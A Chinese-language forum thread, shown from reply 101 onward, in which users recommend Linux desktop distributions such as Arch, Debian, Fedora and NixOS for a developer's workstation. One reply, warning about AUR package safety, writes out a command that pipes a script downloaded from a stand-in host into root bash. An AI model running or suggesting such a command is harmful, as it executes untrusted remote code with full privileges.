服务器系统一直用的 CentOS ，后来因为收购问题，逐渐迁移到了 Debian 系。
最近手头上有台退役的台式机，AMD R5 1600 + GTX 1060 with 32G RAM ，想尝试一下桌面开发：Golang ，rust ，python 。我昨天尝鲜了一下 Ubuntu Desktop ，结果发现私货太多，打听了一下基本推荐 Linux mint 或者 Manjaro 。
不知道还有没有其他常见的选择？
This topic created in 519 days ago, the information mentioned may be changed or developed.
199 replies • 2025-07-20 11:29:10 +08:00
 |
showmethetalkJun 13, 2025
101
@jianghuan2 现在的 arch 是可以节省时间的，安装系统有自带安装脚本，安装应用有 aur ，比其它发行版简单好多
|
 |
huddle2689Jun 13, 2025 via iPhone
102
公司红帽系，个人 debian 系。最近打算换成 arch
|
 |
SliverburgerJun 13, 2025
103
果然 v2 还是 arch 多，以前 arch 最近开始换 nixos ，感觉 nixos 还是要方便些，尤其是换电脑
|
 |
yanqiyuJun 13, 2025
104
自己基于 fedora silverblue 魔改的系统
|
 |
Cu635Jun 13, 2025
105
debian sid 或者 arch linux.
|
 |
106
差不多 20 年前装的 Debian 滚到今天，日常使用。硬件都升级几次了，系统还是原来那个。感觉 Linux 用熟悉了，可能发行版差别也没那么大？
|
2 |
AppxLiteJun 13, 2025 via Android
107
arch linux
|
 |
TateLiaoJun 13, 2025
108
不想折腾首选：Linux mint
|
 |
aihttpJun 13, 2025
109
服务器端、个人桌面端，都只用 Debian stable ，桌面端习惯 Gnome 桌面
|
 |
weixiangzheJun 13, 2025
110
arch kde
|
 |
debuggerxJun 13, 2025
111
开发的话，选 debian ，包最全，私货最少，建议装 kde 或者 xfce 桌面
桌面好用的，其实 deepin 还是很好，就是独立成根发行版以后经常碰到包不全的问题，有点影响开发（虽然可以从 debian 仓库补，但是麻烦） 再往下推荐则是 manjaro ，新手友好，社区包多，日常用还可以，但是开发不一定适合 在往后是 UOS ，相比于 deepin 稳一些，但是个人用属实没必要 在往后才是 archlinux 其他就不推荐了…… |
 |
ingramyangJun 13, 2025
112
Fedora 是真的好用，flatpak+gnome+toolbox+dnf ，基本上体验无敌还不折腾，软件包还能用最新的，是真的爽。唯一的问题就是国内部分大公司的生态缺失，以及小程序的开发工具链缺失，当然，这不是 Feodra 的问题。
|
 |
zoooJun 13, 2025
113
没人用 pop 么
继承上一个人的电脑，发现还挺好用的 |
 |
206n6Q6sFYRg1SwMJun 13, 2025
114
Fedora, 不折腾, 设计理念很好
|
 |
enihcamJun 13, 2025 via Android
115
cachyOS
|
 |
webcape233Jun 13, 2025 via iPhone
116
arch+gnome ，公司开个虚拟机写代码也是这样搞的
|
 |
AmaxxieweiJun 13, 2025
118
安装在哪个环境很重要。macbook pro 201X 版本的，用过 arch 、linuxmint 、ubuntu ～现在用 fedora ，在外观操作稳定驱动上还可以～
|
 |
necomancerJun 13, 2025
119
Arch ，如果更新太频繁可以考虑 opensuse Tumbleweed slowroll
|
 |
kanakanaJun 13, 2025
120
从 Arch 换到了 Manjaro ，但了解到 Manjaro 出现过的各种问题后又换回了 Arch……甚至还有人整理了份黑历史：
https://manjarno.pages.dev/ （前 AI 时代机翻版： https://manjaron.pages.dev/ ） 开发用的话，其实 Golang, Rust 这些新点的语言在不同发行版下的开发基本也大差不差——都是那几个 IDE ，剩下的全交给包管理器。但如果需要 C/C++ 的绑定的话，那就需要把各种包的头文件之类的装上；至少几年前的时候，Debian 系装各种 -dev 包还是装得挺烦的，这点上 Arch 系的包基本默认包括头文件，体验就好很多。不知现在 Debian 怎么样了。 |
 |
sjkdsfkkfdJun 14, 2025
121
Ubuntu ，没必要折腾，专注于要做的事情比较好
|
 |
moonjourneyJun 14, 2025
122
nixos + gnome/kde/sway/niri
|
 |
feelingluckyJun 14, 2025
123
@z1645444 #27 意满离
|
 |
itplanes01Jun 14, 2025 via Android
124
opensuse,比 ubuntu 稳定很多
|
 |
125
@winzkh #117 alias roll='echo $(head -n1 /var/log/pacman.log | cut -d " " -f 1,2) 以来一共滚动更新了 $(grep -c "full system upgrade" /var/log/pacman.log) 次'
|
 |
yzbytheseaJun 14, 2025
126
arch + kde
|
 |
wuruxuJun 14, 2025
127
debian + gnome
|
 |
61162833Jun 14, 2025
128
@firemeteor 请问你用的是什么桌面？
|
 |
delusionwJun 14, 2025
129
配置好一点的话的话我建议 debian+docker 或者直接装 pve
|
 |
fred649Jun 14, 2025
130
AlmaLinux
|
 |
tenlJun 14, 2025
131
目前在用 guix
Guix 属于 GNU 项目，强调自由软件和可复现性，和 nixos 一样都是函数式包管理，系统很优雅，虽然是滚动更新，但软件还是有点旧，gnome 还是 46 版本的，但 guix 系统还是有很多可圈可点的地方，值得一试，建议喜欢 nixos 的可以尝试一下，毕竟两个系统都是函数式管理 |
 |
a5454775422Jun 14, 2025
132
最近给古董本子从 WIN10 换成了 POP-OS,真不戳
|
|
133
@61162833 现在不爱折腾了，长期稳定在 gnome 。之前折腾过 xfce 之类的轻量级方案，后续硬件过剩了感觉也没啥必要了。
|
 |
guokbJun 14, 2025
134
二手惠普、联想本本, 分别装的是 Linux Mint , Manjro , EndeavourOS , 主要功能是上网，同步一些资料，感觉还不错！
|
 |
Destiny1332Jun 14, 2025
135
https://rhinolinux.org/ 基于 Ubuntu 的滚动发行版
其实最不折腾的就是 fedora 不好美化上来直接用就行了 |
|
firemeteorJun 14, 2025 via Android
136
用 Linux 桌面的体验非常个人化。像我这种日常一个浏览器+输入法就能覆盖大多数场景的，用啥系统都差不多。要点就是别绑死在不兼容的软件上。
日常使用 Debian 的姿势，我可能也算是非主流。一般从 stable 到 experimental 的软件包我都混着用，再加上第三方包源和 checkinstall 这种管理外源软件包的机制。整个就一个大杂烩。 早先我更多喜欢用 unstable 里的包，日常滚动。后来感觉也没啥必要，就切换到以 stable/testing 为 base ，有选择的从其它库里拉较新的常用软件的方式。base 的部分基本上只在上游快发版本的时候，更新到 release 前的 testing 和 release 之后的 stable ，或者随着依赖让系统自行更新。 |
 |
ryan4yinJun 14, 2025
137
|
 |
DUNAIJun 14, 2025
138
鸿蒙 OS @xun_114514
|
 |
alluryJun 14, 2025 via Android
139
debian/ubuntu
|
 |
140
unity 永远的经典
|
 |
RobinHuuuJun 14, 2025 via iPhone
141
还是推荐 Debian 系或者 RedHat 系，这两系支持应该是最广泛的，绝大部分软件包都有这两系的，其它系未必有。
|
 |
bigtearJun 14, 2025 via Android
142
linux 当桌面用挺难受的，所以选一个活跃包多的很重要。arch 是不二人选，debian 虽然很好但更适合当服务器和容器系统，
|
 |
balddonkey1Jun 14, 2025 via Android
143
arch 或者 manjaro ，arch wiki 很丰富，用起来最舒服的发行版
|
 |
bookeeJun 14, 2025
144
EndeavourOS
|
 |
szzonlyJun 14, 2025 via Android
145
ubuntu 2504
|
 |
newstorm24566Jun 14, 2025
146
Ubuntu 桌面版感觉还好吧，私货很多吗？不过我好久没有用 ubuntu 桌面版了。个人用也是用 arch
|
 |
licolicoliJun 14, 2025
147
在 Linux 上，系统组件和应用程序通常通过包来管理。但传统的包管理器仅仅管理文件，最多在包变更时执行一个 hook ，比如帮你重启服务。这种机制很难追踪系统的整体状态，也难以干净地进行定制。
而 Nix 不止管理软件的文件本身，它还能统一管理这些软件的配置。你可以明确地知道改动了系统的哪些部分，干净地在整个系统范围内为某个组件打补丁、修改编译参数，甚至替换成你自己的分支。 而 NixOS 兼具源码发行版的可控性和二进制发行版的易用性：你既能获得精细的系统管理能力，又无需自己手动编译整个系统。Nix 作为一个语言一开始确实有些难懂，但你可以把它想象成“可以执行的 JSON”，就能理解为啥这东西写起来这么怪了。何况现在有大语言模型辅助，加上论坛和社区支持，大多数问题都能解决。 实在不行，比如你要跑某些私有软件、或构建强依赖特定版本工具链的工程（比如 AOSP 、OpenWrt ），直接开个容器也就搞定了——问题不大。 |
 |
gophletJun 14, 2025
148
如果是之前用的是 CentOS 的话，我推荐 Rocky Linux ，算是继承了 CentOS 的衣钵，都是红帽系的。
|
|
gophletJun 14, 2025
149
看错了，带桌面环境的我推荐 ArchLinux 或者更容易上手的 Manjaro ，桌面个人环境推荐 KDE 。
|
 |
neutrinoJun 14, 2025 via Android
151
@takanashisakura 正常操作，算不得私货吧
|
 |
c398425861Jun 14, 2025
152
Manjro
|
|
c398425861Jun 14, 2025
153
打错了，Manjaro
|
 |
oniceJun 14, 2025
154
用的国产的 deepin 。
|
 |
155
个人的一些经验总结：
debian 更新最不频繁。两年一个大版本，中间会有小版本的更新，因此也最稳定。不过这也算是缺点，比如当前的 stable 版本里的 gnome-shell 还是 43 ，比目前 48 落后了不少。十分适合服务器那种使用场景（及时的安全更新，并且不会由于更新导致服务出问题）。 ubuntu 相对 debian 更新稍微频繁一点。一年一个大版本，中间也会有一些包的更新。当前 ubuntu25 里 gnome-shell 版本是 48.0 ，比最新版只落后几个小版本。 fedora 半年一个大版本，中间包的更新也十分频繁，因此也有人称之为半滚动发行版。频繁的更新也带来了各种不稳定，比如前些天 mutter 更新导致的窗口变得不可以点击。但好处在于，由于其是非滚动发行版的，因此你可以停留在目前版本不更新很长一段时间，之后再更新也不会挂掉。 滚动发行版（比如 arch 、debian sid 和 fedora rawhide 等等） 上游只要出新的版本就会被打包进仓库。频繁的更新带来的就是各种不稳定，比如上面提到的 mutter 的 bug 同样影响 arch 等其他滚动发行版。并且由于是滚动发行版，你长时间不更新之后再更新就容易挂掉。 除了包管理工具和更新频率以外，各种发行版在其他一些方面也有些细微差别。比如默认的文件系统是 btrfs 还是 ext4 ，默认 swap 是 zram 、zswap 还是硬盘的分区。还有一些 systemd 的服务管理方式，比如通过 socket 方式激活等。 我个人的建议是，一般就从 ubuntu 和 fedora （或者基于他们的衍生版）里选择作为个人桌面系统使用。debian 适合服务器，滚动发行版适合那种能给上游提 bug 和 issue 的人使用（否则当小白鼠也没有意义，只是折腾自己）。 arch 的一个优点就是 aur 提供了丰富的包，但要知道 aur 是谁都可以上传的，这意味着这并不比你执行`curl -s http://not.a.malware.com/download | sudo bash`安全。同时 flathub 的存在使得 aur 的必要性变低了很多，flathub 包含了 QQ 、微信、网易云音乐和 WPS 。最重要的是 flatpak 允许你控制文件系统和网络的权限，能够避免国产软件扫盘。 我个人的选择是 fedora 的衍生版 fedora silverblue 。 同样是激进的方案，fedora 的方案比 ubuntu 的方案有品位得多。 比如 fedora 是第一个采用 systemd 和 wayland 等新技术的发行版，而最终其他各种发行版也选择了这条路线。相比之下，ubuntu 的做法则就像是硬塞各种私货，upstart 和 mir 现在可以说已经死了。 类似的 flatpak 和 snap 相比较，flatpak 更有前景。对于某些包（比如 firefox ），fedora 同时提供 flatpak 版本和 rpm 版本，而 ubuntu 只提供 snap 版本并且把源里的版本替换成 snap 的。 |
 |
156
Arch Linux + KDE ，省时间，和 Windows 比较像
 |
 |
batonJun 14, 2025
157
习惯 Debian 系，服务器 Debian ，桌面 Linux mint
|
 |
THESDZJun 14, 2025
158
kubuntu
|
 |
macaodollJun 14, 2025
159
看硬件驱动情况来确定最终使用哪个发行版，opensuse ，ubuntu ，Fedora ，debian 我都会去试试
|
 |
nullrefJun 14, 2025 via Android
160
arch 用 archinstall 不要太简单
|
 |
molikaJun 14, 2025
161
之前用 manjaro kde 现在用 arch + gnome 了
|
 |
chingyatJun 15, 2025
162
Fedora 。更新周期短，软件新，新硬件支持好。
|
 |
bs10081Jun 15, 2025
163
如果覺得 Arch 太麻煩，其實可以試試 EndeavourOS （ EOS ）。它就是基於 Arch 的，但安裝簡單很多，裝好就能直接用，還能享受 Arch 的軟體庫和 AUR ，包超多。社區也挺熱鬧的，遇到問題很容易找到人幫忙。想體驗 Arch 又懶得折騰，EOS 很適合！
|
 |
jsyzJun 15, 2025
164
Fedora ，用过 Ubuntu ，Manjaro ，Debian ，最后还是 Fedora ，Debian 也不错
|
 |
dayeye2006199Jun 15, 2025 via Android
165
CachyOS 打游戏
|
 |
busierJun 15, 2025 via Android
166
桌面之前用 Linux mint ，最近需要 wayland ，不折腾 还是用 Ubuntu 了
|
 |
ipixeloldcJun 15, 2025
167
主用 Arch + KDE ，常见桌面软件 aur 里面都有大佬写的 pkgbuild ，装起来很方便。KED 的话，哪怕是 wayland 下 IME 也基本不会出问题。但部分商业软件我会选择改在 Ubuntu 上用，因为他们只为他做适配，而自己搞这种闭源软件的适配太累了，隔个版本就可能用不了。
|
 |
sn0wdr1amJun 15, 2025
168
Debian
|
 |
abbycinJun 15, 2025
169
openSUSE Tumbleweed KDE
|
 |
hnliuzesenJun 15, 2025
170
pop os
|
 |
skiyJun 15, 2025
171
肯定是 ubuntu 啊。特别是国内的，各种驱动都是优先 ubuntu ，跑 AI 也大部分都优先 ubuntu 环境。比如摩尔线程的。但服务器，我只用 debian 。曾经也算是 centos 的忠实用户，但骚操作后就不再使用了。
|
 |
codefun666Jun 15, 2025
172
折腾 Linux 发行版和桌面都是扯淡...
Redhat 系列遇到问题，在 mail list 提问，都是官方工程师来解答。 Debian 的安装界面让人难以忍受，还识别不了新主板的网卡。 |
 |
huayi2Jun 15, 2025
173
当然 ubuntu 了，相对来说意外少一些
|
 |
kenxu2023Jun 15, 2025
174
我推荐 Fedora ，优雅的界面（ GNOME/KDE ），软件丰富（跟 Debian 系差不多），没有私货（没有 Snap ，自带 Flatpak ），不折腾（几乎开箱即用），同时半年更新一次，在比 Arch 稳定的同时又能最大程度兼容新硬件
|
 |
shepherdlazyJun 15, 2025
175
@skiy 哈哈，发现好多都是我们这个线路的，不过我几台老机器上用的 centos7 我没换还是用的，新的改 debian 了，试用过 rocky 不过发现包管理工具之类的换了，也就安装看下没有实际使用。
不过桌面的 linux 很多年前折腾过，现在无脑 macos 或者 windows |
 |
v2lsuaJun 15, 2025
176
台式电脑是 ArchLinux + Gnome ，现在对切换到纯窗口管理器有点兴趣
笔记本电脑是 openSUSE + KDE ，开箱即用的发行版，也挺好用的。 |
 |
qflyJun 15, 2025 via Android
177
只是学习不对接某些特定应用且能自己搞的话 ，Arch Linux 非常好用且定制性足够好，但第三方包很多都是 Debian 系的 个人做的脚本转的，可能兼容性没 Ubuntu 好，除此之外都还可以。当然你也可以自己写脚本编译特定包，反正不经过包管理，直接用 cmake 直接编译进系统目录也是可行的。
|
 |
TinkJun 15, 2025
178
ubuntu
|
 |
hirenloongddddJun 15, 2025
179
windows 11 iot ltsc
wsl2 hyper-v |
 |
spritecnJun 16, 2025
180
deepin 实用..
|
 |
takeshimaJun 16, 2025 via iPhone
181
arch+kde 。arch linux 是实用主义至上，有些发行版可能会有开源软件洁癖，对打包的软件有严格的开源协议要求，但 arch 比较宽松，甚至打包了一些闭源软件，而且最重要的是有 AUR 这个东西，只要是提供了 Linux 版的软件，几乎都可以通过包管理器来管理，安装软件非常方便
|
 |
pinylinJun 16, 2025
182
manjaro+timeshift 五六念了
|
 |
qq9538925Jun 16, 2025
184
arch + hyprland
|
 |
FateTrackJun 16, 2025
185
我建议 kylin ，特别是客户是国企的🤣
|
 |
sunpwJun 16, 2025
186
在我看来折腾别的成本太高 还是 Ubuntu 好了
|
 |
sworld233Jun 16, 2025
187
openSUSE
|
 |
mwxxJun 17, 2025
188
Ubuntu 16 到 24 都用过，用完 24 后受不了换成了基于 Ubuntu 24 的 Linux Mint 。
|
 |
allenbyJun 17, 2025 via Android
190
Fedora 不错
|
 |
smileeastJun 17, 2025
191
@zjsxwc #72 差不多，工作用就 arch ，不带桌面就选 debian ，实在不行就 ubuntu ，因为有时候 debian 对一些硬件不兼容
|
 |
horizonddJun 17, 2025
192
@usal2271988404 那还不如 debian 呢起码干净
|
 |
omphJun 18, 2025
193
楼主可以根据回帖做个统计图出来
|
 |
cnleonJun 26, 2025
194
xubuntu ，xfce 可以的，不过各种 gui 的小 bug 还是不少。我儿子都有点无语了。
|
 |
yyybJun 26, 2025
195
所有滚动更新的发行版都很爽，一直滚一直爽
|
 |
shinkansenJul 4, 2025
196
ARCH 系路过
|
 |
iamwinJul 6, 2025
197
试试 pop os ，就是包有点老了
|
 |
breerJul 8, 2025
198
现在也可以试试 aduinos,目前自己在用 debian+xfce
|
 |
DarrenJul 20, 2025
199
Ruby on Rails 作者 DHH 出了个 Omarchy ，基于 Arch + Hyprland 定制，可以试一下。
|
Select Language